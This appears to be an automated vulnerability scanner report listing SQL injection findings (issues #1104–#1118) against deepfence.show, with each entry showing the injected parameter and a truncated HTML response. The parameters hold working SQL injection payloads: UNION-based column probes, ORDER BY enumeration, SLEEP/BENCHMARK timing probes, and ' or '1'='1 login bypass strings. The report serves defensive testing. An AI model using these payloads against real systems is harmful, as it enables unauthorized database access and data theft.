z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1104
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1105
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1106Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1107
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1108
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1109
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 26
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1110
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1111
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin') or ('1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1112
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@ admin') or '1'='1deepfence.io
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1113
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin" #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #1114
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1115
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1116
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1117
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io1 or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1118
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
